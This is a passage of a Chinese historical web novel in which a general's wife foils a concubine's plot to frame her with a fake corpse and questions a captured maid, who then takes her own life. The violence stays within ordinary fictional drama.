“姨娘,是不是该再谨慎些?”玛瑙总觉得哪儿不太妥,可又说不上来。 江姨娘正在兴头上,如何能听? 她飞快打断丫鬟的话:“眼下威武将军府正被人参呢,施粥一事他们府里就说不清楚,如今再算上咱们府里的人命案子,就算不能给他们一个教训,也必定会让那位夫人难堪,要知道那粥棚的安排可是她的手笔!” 她早就打听清楚了,如今万事俱备只欠东风。 待让人将那尸首领回来,她亲眼瞧了,越发笃定。 快速思虑一番,江姨娘觉得眼下是最好的时机,便洗漱净手,又给袖口处洒了好些清凉油,一抹就眼睛红红的。 她跪倒在瑞王跟前,哭得肝肠寸断,口口声声道:“王爷,还请王爷赐死妾身吧……妾身这么些年一直瞒而不报,愧对王爷!” 瑞王被吓了一跳:“这是怎么了?” 第130章棺材 江姨娘哭着不肯起,断断续续说起这桩藏于心中多年的隐秘。 在她的描述中,其实当年昀哥儿并不是病死的,而是意外丢失。 但为了保全阖府上下,江姨娘不得不暂时委屈了儿子,为怕王爷伤心,更怕他承受不住这个打击,她便做主说了昀哥儿已死,其实这些年一直暗中查找。 就快要找到时,一个惊天噩耗如雷劈一般降临。 “你说什么?昀哥儿那会儿没死,人如今却又活不了了?人在威武将军府?”瑞王听得脑子都糊涂了,震惊又茫然。 “上回秋猎,妾身就瞧着跟在威武将军夫人身边的小厮格外面善,几次三番想请将军夫人网开一面,叫我见一见那孩子,可夫人就是不愿……是我命苦,本就是上不得台面的小妾,又如何能让将军夫人松口?” “可大约是瞧出了妾身的想法,加上前面几次妾身又不知哪里得罪了将军夫人,我好端端的昀哥儿竟叫人生生打死了!!如今尸首就在棺材里躺着!王爷,你可要为我们母子做主啊。” 江姨娘素有急智。 这样一个看起来破绽百出的故事,在她的哭诉下竟也让人觉得有几分合理了。 瑞王只觉得脑瓜子嗡嗡的:“昀哥儿在哪儿呢,你让我去瞧一瞧,远远地瞧一眼就好。” “王爷只管看,妾身问心无愧,只求王爷给咱们昀哥儿一个公道!那将军夫人如此心狠,对外施粥给百姓都这般苛刻,更不要说对一个小孩子了……” 江姨娘将两件事凑在一起说,哭得越发伤心。 也越发让瑞王觉得虞声笙确实能做得出这种事。 他远远瞅了一眼棺材里的尸身。 年纪上看,确实与昀哥儿对得上。 江姨娘又从孩子的腕骨上发现了胎记,这就越发令人深信不疑。 再瞧瞧那孩子满身血污,伤得鲜血淋漓,瑞王不忍再瞧,用帕子捂着口鼻,一阵难掩悲愤:“好好,本王倒要去问问威武将军府!!” 江姨娘喜出望外,眼底飞快闪过一道暗芒。 为保这件事能成,能有最大的效果,她又命人将棺材合上,一块抬去威武将军府。 横竖昀哥儿死了,再也没人质疑她的身份。 她也能顺势将自己摘干净,成功除掉这块心病。 可惜,即便瑞王也没能进得了一品将候的大门。 一行人被拦在阶下。 侍卫防守森严,瑞王竟无法上前一步。 “叫你们府上将军或是夫人出来,本王要与他们好好理论!!”瑞王怒不可遏,吼得脸红脖子粗。 身后,一辆马车徐徐停下。 温柔的声音随即响起,轻快和煦。 “瑞王为何堵在我家府门外?我家将军今日不在,可有旁的要事不成?” 闻言,瑞王回头一瞧。 但见灿烂明媚的阳光下,从马车里下来一位年轻夫人。 她身穿暗翠与天蓝交织的缎子比甲,外头罩一件轻薄如云雾的皎纱,乌发如云,眉眼含笑,端庄白净到极致,盈盈立在日光下,放眼望去眼中竟只能瞧见她一人。 高华淡然的气度之下,藏着的却是让人说不清道不明的隐隐威压。 明明她这样年轻。 瑞王却一眼看痴了——像,实在是太像了! 几分失神的功夫,虞声笙已经在今瑶的搀扶下走到瑞王跟前,依着规矩福了福,她又笑道:“不知哪阵风把王爷吹来了,又见王爷这般火气大,想来是有什么误会吧,今日太阳烈得很,在门口又不是说话的地方,若王爷不嫌我年轻,咱们可以移步去正堂吃茶。” 瑞王立马点头答应,快得让江姨娘都没回过神来。 江姨娘忙扯了扯他的袖口,用眼神示意身后的棺材。 不等瑞王再开口,虞声笙又笑道:“素来没有棺材从人家正门抬进去的,瑞王也该明白打人不打脸的规矩,若你们真想来评理,这棺材还是从后门进吧,图个升官发财的好意头,我这心里也能说得过去。” 瑞王和江姨娘齐刷刷一愣。 听听这是人话嘛? “若是王爷不愿,那……晚辈也只能跟着一道去一趟京兆尹府了。” 瑞王冷静了下来。 事情没有明了之前,还是不宜闹大。 他点点头赞同了虞声笙的决断。 江姨娘见不能如愿,颇为恨恨地咬着下唇,却也无能为力。 一行人从正门入,棺材则被停放到了后门内。 几盏茶上桌,瑞王开门见山,说明来意。 “昀哥儿?”虞声笙失声轻笑,“这事儿为何能扯到昀哥儿身上去?他只是我一时好心救下的孩子,如今在我侄子身边做个书童,堂堂王爷又怎会为了一个下人兴师动众?” 瑞王犹豫片刻,还是选择了和盘托出。 江姨娘也恰到好处地洒了几滴泪,以作补充。 听完,虞声笙眯起眼:“江姨娘这话不对了,你想见昀哥儿,也要看孩子自己乐不乐意吧;秋猎那会子,昀哥儿就跟我说了他很怕你,不愿见你,若真是你的亲生子,即便他失忆了记不得从前种种,可母子连心,总该不会这般惧怕生疏——是不是你们搞错了,昀哥儿并非江姨娘的儿子?” 江姨娘一阵心虚:“浑说什么!我自己身上掉下来的肉我会不认得?天知道你给昀哥儿说了什么,才教得孩子不认亲娘!” “这话更是说不通了,若不是秋猎之时江姨娘主动与我攀谈,我哪里晓得昀哥儿与贵府还有这么一桩渊源,难不成我还能未卜先知,提前说瑞王府的坏话么?这对我有什么好处?”虞声笙摇摇头。 瑞王露出若有所思的神色。 江姨娘见状,忙道:“这些都是小事,眼下我昀哥儿死在你府里,又身负重伤,你不该给我们瑞王府一个交代么?!如今棺材就停在你府里,人也在里头躺着,我看你还能编出什么话来!!” 虞声笙瞳仁微紧:“你是说昀哥儿死了?那棺材里躺着的就是?” “没错!” 江姨娘冷哼。 “人命关天,江姨娘可不要胡说八道。” 见她还在嘴硬,偏又一副云淡风轻、运筹帷幄的模样,江姨娘越发不爽:“你不认是吧,那不如将棺材抬上来瞧瞧!!” “好。”虞声笙一口应下。 很快,棺材被抬入安园。 就放在正堂阶下。 棺材盖被掀起,露出里面的端倪来。 虞声笙上前看。 江姨娘抹着泪:“我可怜的孩子……我的昀哥儿!杀你的人还想抵赖,你真是命苦啊。” 瑞王回想起自己先前见到的一幕,也不忍再去瞧。 虞声笙看了一会儿,面露诧异:“……不是,你们哭什么?” “将军夫人未免太狠心了!!你打杀了我家昀哥儿,如今对着他的尸身怎能说出这样冷心冷肺的话?!”江姨娘暴怒。 “这棺材里的不是什么尸体呀。”虞声笙哭笑不得,“你们是不是看错了,青天白日的,瑞王爷跟我开这样的玩笑,实在是说不过去吧。” 瑞王抬眼,见她神色不像是说笑。 他忙快步过来,往那棺材里一瞧。 棺材里躺着的哪里是什么尸体,分明是…… 第131章纸人 一个纸扎的人儿! 正正经经给穿上了衣服,还施了脂粉,看起来人模人样,无端透着鬼气森森。 可纸人就是纸人,明眼人一下就能分辨出。 这会子青天白日的,如何能将一个纸人和一个真正的尸体认错? 恍惚间,瑞王也几乎怀疑起自己的眼睛——之前所见到的一切,莫非是眼花?还是……江姨娘从中做了什么手脚。 江姨娘不敢置信地看着眼前的一切。 “这怎么可能,怎么可能!!我分明是派人跟着你们的呀,我的人亲眼所见,你们将昀哥儿尸体送去埋了,怎么可能……” 她慌了神,隐隐一阵后怕。 回想起虞声笙秋猎之时卜算的神奇之处,她背后有些发寒。 一瞬间有些悔意漫上心头。 一小厮奉茶而入,虞声笙笑道:“瑞王殿下,江姨娘,这就是你们要找的昀哥儿,昀哥儿,还不来拜见贵客。” 昀哥儿放下茶案,恭恭敬敬到了瑞王跟前跪地拜倒。 当他抬眼时,瑞王不由得一阵惊诧感慨。 这孩子实在是太像江姨娘了,就是小时候的模样,一颦一笑,眉眼鼻梁,与瑞王记忆里的样子几乎一模一样。 他鼻尖一酸,柔声问:“快些起来,好孩子,你叫什么名儿?” “回王爷的话,小的叫昀哥儿。” “你……还记得你是怎么到京城的么?” 昀哥儿耷拉着脑袋摇摇头:“我有记忆时,人就在庄子里讨生活了,是那些大爷大妈接济才能活到现在;后来又遇上了好心的夫人,夫人收留了我,我才能在府里做事。” “你不记得你娘亲了?” 这话一问,江姨娘忍不住捏紧了手中的帕子,紧张地盯着昀哥儿,生怕从他口中说出什么不利自己的内容。 虞声笙似笑非笑地看着,不言不语。 昀哥儿沉默一会儿,还是摇摇头:“我只记得,有一个女人将我藏在洞穴中,让我好好待着不要出来;可当时年幼,我又病着,根本记不清对方长什么样,也不记得她是我什么人了。” 说着,他又抬眼,无比渴望地望着瑞王,“王爷,您认识我娘亲么?” 这一句反问,成功让瑞王眼眶红了。 瑞王忙转过脸,偷偷用袖口擦了擦,随后又勉强笑道:“或许认得。” 虞声笙见昀哥儿应对得宜,便悄悄退到一旁,将空间让出来给他们父子。 足足小半个时辰过去,瑞王才过来重新与虞声笙说话。 与来时不同,这会儿的瑞王格外客气亲和:“多谢将军夫人,今日是本王唐突了,没有查清楚就冒冒失失登门,叫将军夫人笑话了。” “哪里话,我能体谅王爷与姨娘的关切之心,此乃人之常情。” 虞声笙弯唇一笑。 “昀哥儿不愿跟本王回去,还请夫人……替本王多多照拂。”瑞王显然没有打动昀哥儿,有些无奈。 “这是应该的,只是王爷可确定了昀哥儿的身份?” 瑞王神色复杂,好一会儿才道:“若确定了,本王必定派人来告知将军夫人。” “好。” 瑞王走到院中,沉着脸让人将棺材抬出去,就近烧了。 江姨娘急了,亦步亦趋地跟在后头:“王爷,这事儿就这么算了么?昀哥儿这事儿还没查清楚呢,指不定那孩子是将军夫人找人来冒充的……啊呀!” 虞声笙好奇地看过去。 原来瑞王停住脚步,不轻不重地对着江姨娘的肩头推搡了一下。 江姨娘一下撞在了婆子的身上。 多亏奴仆扶着,这才没有摔倒。 瑞王冷冷扫了一眼:“还嫌不够丢人现眼?还拉着本王跟你一起闹腾,什么棺材什么死人,我看你整日的心思全放在这些个歪门邪道上!!给本王回去,没有本王开口,不许踏出院门一步!” 江姨娘欲哭无泪。 明明都安排好的呀,怎么就变成这样了…… 她咬牙隐忍,到底没好意思在威武将军府就闹开,忍着泪回了瑞王府。 昀哥儿立在虞声笙身侧,也一样冷眼瞧着。 直到人走远了,他才道:“哼,果真是个心机深沉的,要不是夫人您聪明反应快,怕今日就要着了她的道了。” “是啊,不过魔高一尺道高一丈,她聪明,我也不笨。”虞声笙轻轻捻着手里的红绳铜钱,笑得云淡风轻。 原来,从康田暗中传递消息开始,虞声笙就已经布局。 康田被关了起来,她另择一管事代替,一样也姓康。 对外只管称呼康管事,外人若不细问根本不会察觉前后两个康管事其实早就换了人。 江姨娘也不会抠这些细节,只道是康田背叛了自己,自然会越发气愤,越发不快,再结合之前的事情将所有苗头都对准了昀哥儿,虞声笙便找到了最好的机会,引诱江姨娘主动出击。 她先让昀哥儿称病,休息几日,没有出现在辉哥儿身边。 这便越发让江姨娘深信不疑。 只是她没想到江姨娘的战斗力这么强,竟能直接将棺材扛到她府门外。 那尸体,也是虞声笙用了道门中的法子,欺骗了瑞王和江姨娘的眼睛,其实从头到尾就没人死,就只有那个冷冰冰的纸人。 她看向昀哥儿:“你倒是让我意外了,为何不跟着一起去?那是你亲生父亲呢。” 昀哥儿摇摇头:“现在不去,还不是时候。” “留在我府里,你可不是尊贵的少爷,依旧是辉哥儿身边的书童,你可乐意?”虞声笙打趣道。 “起码安全,我要是这会子跟着回去,瑞王府内宅中还是江姨娘说了算,我活着都是万幸,更不要说有机会能读书识字了。”昀哥儿看得很清楚。 留在威武将军府,名为奴仆,实则要比在瑞王府更安全更自由,得到的也更多。 他扬起脸,望向虞声笙:“多谢夫人护佑,我铭记在心。” “记着就好。” 却说江姨娘回了瑞王府后,被狠狠教训了一顿。 瑞王似乎也找到一个绝佳的机会发难,将这些年王府里的各种陈年旧账都翻了出来,一一跟江姨娘算清楚。 这一算不得了,可把瑞王气得够呛。 原以为只是吓唬一下,好让江姨娘清醒清醒,下回别再冒冒失失了。 没承想还真查出了不少纰漏。 更有江姨娘私自买卖田庄,强夺他人地产这类肮脏龌龊的行径,瑞王这下真的动怒了,立马让人从江姨娘处拿走了对牌钥匙,还吩咐账房,只要是江姨娘的人过去支取银钱,一律上报。 别说一两银子,就是一吊钱,都得经过瑞王点头。 江姨娘一听这话,才真正慌了神。 失了管家之权,那往后她在府里的地位不就一落千丈? 她跪在地上哭得直不起身子,哭诉过往的情分。 瑞王有了一丝心软。 但转念想起今日种种,刚刚软乎的心又硬了。 他命人把江姨娘送回院中,还冷冷道:“正好这些年你也辛苦了,好好休养一阵子吧。” 末了,他又让其余几位原本不怎么受宠,但是人品厚重,性子稳当的姨娘一并管家,各司所职,倒也无事。 闻昊渊回府后听说了,一阵恍神。 “瑞王来了,瑞王又走了?昀哥儿可能是瑞王府流落在外的孩子?” 他只是出门赴任办差,又不是一去七八年,怎么一天下来变数这么多…… 第132章手脚 虞声笙忙做了个噤声的手势:“嘘,小声点,这事儿还没完全定下来,只是往后瑞王怕是少不得要多来咱们府里了。” “那倒无妨,瑞王其人还算正直,也挺宽容和气。” 同一个人,截然相反的两种评价。 在闻昊渊这里,瑞王人还不错;但在昌夫人眼中,瑞王显然不是什么好相与的角色。 虞声笙觉得有趣。 这和卦象上显示也不一样。 越是迷茫不显,越能让她觉得很有趣。 隐隐中,似乎有什么无形的力量在操控着这一切。 她收起卦盘,了然于心——既然时候未到,她等着就是,别的不多耐心有的是。 暂时料理了蠢蠢欲动的江姨娘,还有另外一桩麻烦。 露娘与翠儿。 这两人是分开看管的。 待遇还不一样。 露娘身边的是粗使婆子,将其关在厢房就行。 她一个弱女子,也没什么功夫本事在身上,想跑都跑不了。 更不要说她压根不想跑,过惯了将军府的好日子,也体会过在外的艰难,两边该怎么选,她心知肚明。 依旧安分守己,每日吃饭睡觉,按部就班。 婆子来虞声笙跟前回话,虞声笙都觉得露娘这人无论心理素质,还是适应能力都极强,这种情况下居然还能睡得着吃得下,也是神人。 另外一个神人翠儿就截然相反了。 她显然不是一般丫鬟。 她会点功夫在身,而且还学得挺不错。 石勇负责关押审问。 但一连三日,什么都没问出来。 闻昊渊得知情况,对石勇语重心长:“我看你历练还不够,要不再去军营锻炼锻炼?” 石勇又羞又恼,急吼吼地要对翠儿严刑逼供。 谁知那翠儿却是个硬骨头,催了一口冷笑:“要么弄死我,你们别想从我嘴里得到任何消息!” 她硬,石勇更是怒从中来,这一下就没留手。 不出几日,原本瞧着还鲜活水灵的翠儿变得伤痕累累,憔悴不堪。 即便如此,她依然没有松口。 总不能把人弄死在自己府里吧?这可太晦气了。 虞声笙想起那日的棺材,顿时满头黑线,直接叫住了石勇:“让我来试试。” “你有把握么?”闻昊渊眉心蹙紧,“实在不行,我把人带去大营。” “西郊大营是你办差的地方,你把自家的私事带过去算什么?万一一个不慎,人再给跑了,那就麻烦大了。” 她温温一笑,“放心,若没法子我再出来便是。” 说罢,她只身一人进了那屋子。 屋子里阴沉沉的,鼻息间透着血腥气。 已经干涸了有一会儿了,这血腥气没有那样新鲜。 虞声笙走到翠儿跟前:“我放你下来。” 翠儿撩眼,将信将疑。 石勇下手确实没个轻重,年纪轻轻的女孩子浑身都是伤,就连脸上都没幸免;看伤口的深浅,虽不会留疤,但也疼得紧。 虞声笙解开了翠儿身上的绳索。 一没有了控制,翠儿软绵绵地顺势倒了下去。 她眼疾手快,将人扶住,让对方倒在一旁温暖干燥的草堆旁。 这里是府里的柴房。 素日里,奴仆们打点得当,这儿也显得比旁人家的柴房干净整洁。 翠儿不能动弹,虞声笙也不说话,替她检查了一下身上的伤,便动手卷起她的袖口替她上药膏。 “别动。” 一声轻呵,翠儿刚抬起的手又垂了下去。 虞声笙连眼皮都没抬一下:“这些伤要先处理干净,免得留疤,其余的部分我就爱莫能助了。” “为何帮我?”翠儿眼神微动。 “倒也不是帮你,只是不想你死在我府里。” “那放了我不是更好?” 虞声笙笑了,素净的眉眼瞬间绽放出春花一般的光彩:“别说废话,这话你自己信么?” 翠儿不吭声了。 “放了你,你还会再杀回来,到时候落在我夫君手里,是一样的下场。”她又淡淡道,“我不能叫你一个微不足道的小角色坏了他的运道。” 闻昊渊与她息息相关。 他的运道,就是她的。 强硬手段行不通,那就只能换个法子。 “是谁派你来的?”她问了正题。 “哼,我不会说的,就算你对我再好,我也不会说。”翠儿冷冷道,“大不了就是一死,我不怕!你们又能拿我怎样?” “确实不能拿你怎么样,顶多是让你受些皮肉之苦罢了。” 虞声笙替她处理完最后一处伤口,突然来了句:“你远在老家的妹妹还安好么?” 翠儿呼吸一沉:“我没有妹妹。” “噢,是这样啊……”虞声笙起身,若有所思地笑了笑,转身离去。 门再次关紧。 翠儿紧绷的脸上浮现出些许后怕。 “她怎么知道我有妹妹……”她呢喃着,一阵不安笼罩心头。 门外没了看守,四周静悄悄的。 这仿佛是跑出去的好机会。 那将军夫人用的药还真有效,不过一会儿,翠儿便觉得没那么痛了,只是身子还使不上劲。 她闭眼静静听着周遭的动静,耐心休息,等待恢复体力。 终于能动了,外头也已经落下暮色,一片漆黑。 远处隐隐能瞧见灯火一闪而过,或许是正在走路的婆子或是丫鬟,除此之外,只有微冷的风声在耳畔掠过。 翠儿确定了没人,鼓足勇气迈出了柴房。 此刻,安园。 虞声笙刚刚用罢了晚饭,正与丈夫灯下品着一样新得的果子。 这是厨房婆子的新手艺。 也不知用了什么法子,吃着香浓酥脆,内馅却咸香可口。 “我不过是跟她们略提了一嘴,竟就做出来了,可见咱们府里到处都是人才,我呢就是发现这些人才的眼睛。”虞声笙抿嘴一笑。 灯下望去,但见她盈盈唇畔,宛若玉质。 闻昊渊心念一动:“就这样将人都撤走,可行么?她万一真跑出去了怕是会后患无穷,那露娘口中所说之人应当是我那位在沙场上失踪已久的大哥。” 他还是想将这对主仆留下,好好盘问清楚。 “不忙,她跑不出去的。”虞声笙胸有成竹,“一会子咱们先睡,怕是半夜还有的忙呢。” “好,听你的。” 安园早早熄了灯。 这一觉睡得深沉,直到外头传来金猫儿的声音。 “夫人,夫人……那翠儿来了。” 最先醒来的是闻昊渊。 他本就警醒,像一头暂时安眠的雄狮,一听声音立马睁开眼。 与此同时,虞声笙也打了个哈欠:“来了么,什么时辰了?” “丑时三刻了。” “差不多。” 她随意披了一件厚实的披风在身上,让闻昊渊跟在自己身后,别露面就成。 闻昊渊乖乖应下:“你多穿点,外头冷。” “知道啦。”她套上金红挑边的羊皮小靴,走出门去。 廊外阶下,翠儿正满脸复杂地趴在那儿。 她面红异常,两手使劲地环抱双臂,似乎在隐忍着什么。 一见虞声笙来了,她再也忍不住:“你在我身上动了什么手脚,为什么这么痒!!!” 是的,奇痒无比。 从伤口一直能钻入皮肉,痒得她连路都走不了。 原以为能顺顺利利地偷溜出府,没想到还未到园子里,她就因为这份痒瘫软在地。 第133章接下来,我要连累你了 翠儿本以为凭着自己的意志力,怎么也能支撑着偷溜出将军府。 可她低估了这痒的威力。 别说出将军府的大门了,就连出那花园子都费劲。 翠儿再蠢也明白了——将军夫人给她上的药里掺了别的东西!! 一面暗骂一面跌跌撞撞往安园来,一头撞上了正在二角门处守夜的婆子,这才层层报到了虞声笙处。 她刚喊出口,金猫儿就呵斥:“大胆!!夫人跟前,岂容你这般大呼小叫!” 虞声笙微微抬手。 金猫儿会意,又退回到台阶之内。 缓步走到翠儿跟前,虞声笙笑问:“是不是很痒?” 翠儿强撑着,指甲死死扣入自己的皮肉,就是不愿去抓挠。 见状,虞声笙不由得感叹:“你还真是比我想的还要有意志力,你这样的人才不该留在露娘身边的,说吧,给我个明快话,我也给你一个痛快——你到底来我府里做什么,是冲着我家将军来的,还是有别的什么原因?” 翠儿的眼睛都红了。 僵持一会儿,她终于忍不住开始动手抓挠。 一边抓挠一边哭,泪水簌簌落下,她骂道:“冲着你来的!!什么将军夫人,狗娘养的!!谁让你是洪家的女儿!呸——” 还没骂完,一旁的今瑶冲过来,一脚踹在翠儿的脸上。 把那翠儿踹得口鼻鲜红,说不出话来。 “洪家……”虞声笙咀嚼着这两个字,眼神渐渐深邃。 她亲生父亲姓洪。 若无当年的一场急病,她也不会成为虞家养女。 这么多年过去了,她还是第一次从一个身份不明的人口中听到这样的话。 “我是洪家的女儿又怎么了?”虞声笙反问,“我不该是洪家的女儿么?” 翠儿却咬死了不肯再说。 只用头不断磕着,口中发出呜呜的哀鸣。 见状,虞声笙走到她身边,轻声道:“你明白的,你说出这些就注定活不久,何必强撑着,卖我个好告诉我吧,作为交换,我会照拂你的妹妹,必不叫她孤苦无依。” 翠儿瞳仁收紧,呼吸沉了沉。 半晌,只听她磕磕巴巴道:“我进府是、是为了杀你……洪家女不该活着,你应该与你父母一起死在当年,叶、叶贵妃……” 最后几个字被她扯得支离破碎,几乎听不清。 待虞声笙还想追问时,却见翠儿瞪圆了眼睛,紧闭双唇,从嘴角流下鲜红的一滩来…… 她竟咬舌自尽了。 丫鬟婆子们吓了一跳。 金猫儿脸蛋苍白,却还要拼命护着虞声笙。 虞声笙反而把她与今瑶一道藏在自己身后,深吸一口气:“丫鬟翠儿,暴病而亡,寻人来替她收殓下葬了吧。” 闹得一团乱,众奴仆心慌不已,议论纷纷。 虞声笙环视四周,冷冷的眼眸带着不容反驳质疑的威势:“都听清楚了么?丫鬟翠儿,暴病而亡。” 众人唬了一跳,立马明白过来,一个个点头应下。 年轻主母好大的派头,只一句话一个眼神,便让奴仆们都安静下来,依着吩咐料理操办。 还没等虞声笙张罗妥当,闻昊渊过来了。 他瞥了一眼倒在地上的尸体,吩咐左右。 不一会儿,石勇便带着人过来,将翠儿的尸首带了下去。 “好好安葬。”虞声笙垂眸叮嘱。 “好,听你的。” 忙了大半夜,她才得以回到房中歇息。 闻昊渊搂着她。 温热的大手轻轻安抚着她的后背。 “虽然早知道她活不过今日,但亲眼瞧见还是让我心里很不舒服。”她呢喃着。 去找翠儿之前,她替这丫鬟起卦了三次。 次次都是大凶之兆,血光之灾,逃无可逃。 若非如此,她也不会主动揽事。 沾上血光可不是什么好事情,换成从前,虞声笙早就脚底抹油,溜之大吉。 可偏偏卦象显示了,翠儿的死也与她息息相关。 天命难违,纵然这一次她可以选择无视,来日必定还会有其他的人或事找上门。 虞声笙不是胆小怯懦之人。 既然明摆着冲着她来的,那她接招就是。 闻昊渊吻了吻她的头发:“这丫头是来对你下手的,你还这样心软可不好。” 虞声笙苦笑:“可你没回府之前,她有的是机会对我下手,她却迟迟没做。” 这话点到了重点。 她阖眼:“而且,乍一碰面,她先下手的人是你,而不是我……” “你怀疑她在骗你?” “不,她应该说的是真话,只是没有说全。” 翻了个身,她的呼吸在夜色中轻叹,“罢了,不说了,我只跟你说这事儿八成与我亲生父母有关,我指不定会给你带来麻烦,我先把丑话说在前头。” 他的怀抱紧紧贴了上来,温暖一片。 “怎么,你想跑啊?”他轻笑。 “不想。”她咬着下唇,“我只是告诉你,我可能要连累你了,虽然并非我所愿,但我希望作为夫君的你,可以保护我。” 闻昊渊:…… 这一本正经的语气说着最无奈的话,夜半听来颇有种滑稽的荒诞感,让人忍不住想笑。 “你一开始不就说了,和我成婚会旺你,既如此你还担心什么?” 她突然瞪圆了眼睛,转头惊喜道:“你说得好对,没错,就是这个理!” 她还在他脸上猛亲了两口,随后一头扎进他的怀中,好一阵快活的撒娇。 闻昊渊哭笑不得,只能搂着。 能怎么办?谁让他一瞬心动,又与她日日伴在一处。 是她给了他一个家。 一个有人等他,有人关怀的家。 天知道他已经失去这些多久了,是虞声笙的到来救赎了他。 他搂紧了怀中的妻子,于深夜中眸色翻滚。 不管是谁,敢对虞声笙出手,那就不要怪他不客气了。 这一夜,注定无眠的还有江姨娘。 她使出浑身解数也没能让瑞王回心转意。 在听到婆子传话,说瑞王今晚去了另外一位妾室房中时,一直强撑着的江姨娘终于绷不住了。 她把房中的所有茶盏都砸了个干净。 闹出了惊天动地的声响。 外头一众奴仆哪敢说话,一个个低头垂眼,大气不敢出。 “好好,这是瞧我年老色衰,不喜欢了呗……那贱人有什么好的,这么多年了,我为府里劳心劳苦,到最后却落得这般田地!!王爷啊王爷……我待你一片真心!你为何!” 她哭了整整一夜。 破晓时分,嗓子都哑了。 两只眼睛肿得如核桃一般。 整个人昏昏沉沉,开始起高热。 玛瑙见势不对,忙不迭地去找府医,消息才传到了瑞王耳中。 江姨娘到底不同于一般妾室。 听说她病了,瑞王一时间也有些担忧,但想起她先前种种离谱之举,他又举棋不定,不敢去探望。 还是徐姨娘柔声劝道:“江姐姐素日里多利落能干的一个人,如今却病了,定然是病得不轻,否则她身边的玛瑙不会急成这样,王爷还是去瞧瞧吧。” 见瑞王还在犹豫,她又道,“妾身不知江姐姐哪里惹了王爷不痛快,但人病了为先,凡事也得等江姐姐身子好了再发落,您说是不是?” 瑞王被劝动了。 带着府医,直奔江姨娘的院子。 第134章安顿表妹 江姨娘是真的病了。 烧得昏昏沉沉。 人一旦病了,防线便会不由自主地松散下来,江姨娘也是一样。 左等右等也没等到瑞王来看望自己,偏偏头疼欲裂,让她越发烦躁,只觉得床边站了个人,还未来得及看看是谁,她就焦躁地骂道:“滚开!!” 一听身边没了动静,她意识到不对,一回头却见瑞王阴沉着脸正凝视着她。 江姨娘暗道不好,忙强撑着要坐起身子:“王爷怎么来了,下人越发不懂事了,怎么王爷来了也不通传一声……” “你病着就好好歇着吧,别起来忙活了。”瑞王深吸一口气,“府医也来了,好好给江姨娘治一治。” 说罢,他竟没有留恋,转身就走。 江姨娘想追上去,连声喊了几声都没得到回应。 徐姨娘用帕子挡了挡微翘的嘴角,越发温婉谦和:“江姐姐这又是何苦,王爷心疼姐姐,特地来看姐姐,姐姐却把王爷骂走了。” “你这贱人!”江姨娘恨恨剜了一眼。 她与徐姨娘不睦已久。 内宅之中,她掌权多年,徐姨娘仰人鼻息的日子过够了,今日难得见她吃瘪,这份畅快劲儿可想而知。 徐姨娘微微蹙眉:“好姐姐,你还病着,千万别动气,若是我哪里做得不对,待你病好了慢慢责罚便是,我先走了,不打扰姐姐静养。” 留下这么一句,徐姨娘便跟着走了。 江姨娘又是一阵摔打出气。 瑞王得到消息,不耐烦地摆摆手,只让人好好看管江姨娘,不叫她出岔子,便将人丢到了脑后。 翠儿已死,还有个露娘。 虞声笙这些日子都在思考露娘的安置。 按照闻昊渊的说法,露娘遇见的人很可能是闻家大哥,那就不能将露娘赶出府去,还得留着人,这样还能留一份寻找到闻家大哥的线索。 也不知闻昊渊与露娘说了什么,露娘从一开始对他的含情脉脉变成了疏离冷漠。 这样的转变让夫妇二人都松了口气。 思来想去半晌,虞声笙也没能拿出个妥当的法子。 直到黎阳夫人出了个主意。 “就说她是投奔我而来的。”黎阳夫人笑道,“算起来和闻家是拐着弯的亲戚,论门户家世,她可远不如闻家,还有我替你看着,出不了事的。” “多谢姑母。”虞声笙欢喜坏了。 她自己是养女。 这是满京城人尽皆知的。 她不能从娘家那头给露娘编个身份。 从闻昊渊这边也不妥当,人家露娘明显与闻家大哥有情,若编的不好反而坏了人家一桩姻缘,那可大大坏了自己的运道的。 黎阳夫人这话当真解了燃眉之急。 很快,虞声笙暗中安排。 让露娘先在外头住了几日,随后派了一抬轿子将人接了回来,对外就说是来投奔的远亲,算起来是他们两口子的表妹。 露娘对这个身份倒是很满意,二话不说应了。 虞声笙问起翠儿一事。 露娘自己也是一知半解,只说翠儿是她半路上结识的,她给了翠儿两只馒头,翠儿就感动不已,要以身为奴。 听到这儿,虞声笙赶紧挪开视线,生怕自己露馅。 这般傻白甜的露娘居然这种理由也信…… 威武将军府这头解决了疑似纳妾的风波,等外头听到消息时已经风平浪静。 倒是张氏有些不安。 还特地登门了一趟,亲眼见过露娘,方才安心。 她拉着虞声笙语重心长:“旁的不说,就说这露娘本分老实人也不聪明的模样,我就放心了;但你自个儿还是要多多留意,你进门不足一载,还是要抓紧怀上,生个孩子才是稳当。” 虞声笙哭笑不得。 但也明白这是养母的一片关怀之情,便乖顺地应了。 顺便也跟张氏解释了一下露娘的来历,言辞凿凿地说闻昊渊断不会与露娘有什么,让张氏尽管放心。 谁知一向风风火火,大大咧咧的张氏,这回竟有些反骨了。 听了这话,她先是嘴角一撇,眼角往下,极为冷淡地来了句:“男人,呵……他们说过的话要能当真,如今我说不准还是皇后娘娘了。” 虞声笙:…… 过了些日子,她回娘家探望嫂子郑秋娥时,才明白张氏当日为何那样说。 ——虞正德又纳了一房小妾。 其实像虞正德这样有官职品阶在身的士大夫,纳几房小妾再正常不过。 就跟家里采买物件一样寻常,根本算不得事。 这小妾是他同僚相赠,生得面若桃花,颇有几分姿色,且又弹了一手绝好的琵琶,颜色有了,情调有了,雅致也有了,可不让虞正德欢喜。 纳进门这些时日,虞正德对这个裴姨娘很是喜欢。 十日里倒有三五日都宿在她房中。 张氏都这个年纪了,自己都是要做祖母的人了,哪能为了个小妾跟丈夫吵架,更不能拈酸吃醋。 可这一肚子的火气无从发泄,便从份例上面动手脚。 她也并非克扣,不过是有些额外的奖赏她直接按下,只给裴姨娘一般妾室的月例银子。 这么一来,明面上虞正德不好说老妻什么。 到底结发多年,他也不能为了个小星就去下张氏的面子。 他只能从自己这头贴补裴姨娘。 郑秋娥说到这儿,拉着小姑子的手,凑到耳边轻声道:“这事哪里能瞒得住,被婆母知晓了,又是闹了两三日呢……” “还有这事?”虞声笙来了兴致。 望着她两眼放光的模样,郑秋娥有些无奈地笑笑:“自家的热闹你也看,倒是你那头,我听说你府里进了个姑娘,可料理好了?” “嫂子放心,不过添了双筷子的事情,还能把我吃穷了?” 见虞声笙容光焕发,郑秋娥猜到她没有说假话,便将此事丢到了一旁,又与虞声笙说起了外头请绣娘的事情。 这会子郑秋娥已经显怀。 肚皮尖尖的圆圆的,穿着衣裳一下就能瞧出来。 她身边的婆子很有几分能耐,将她调理得面色极佳,却又不过分丰腴。 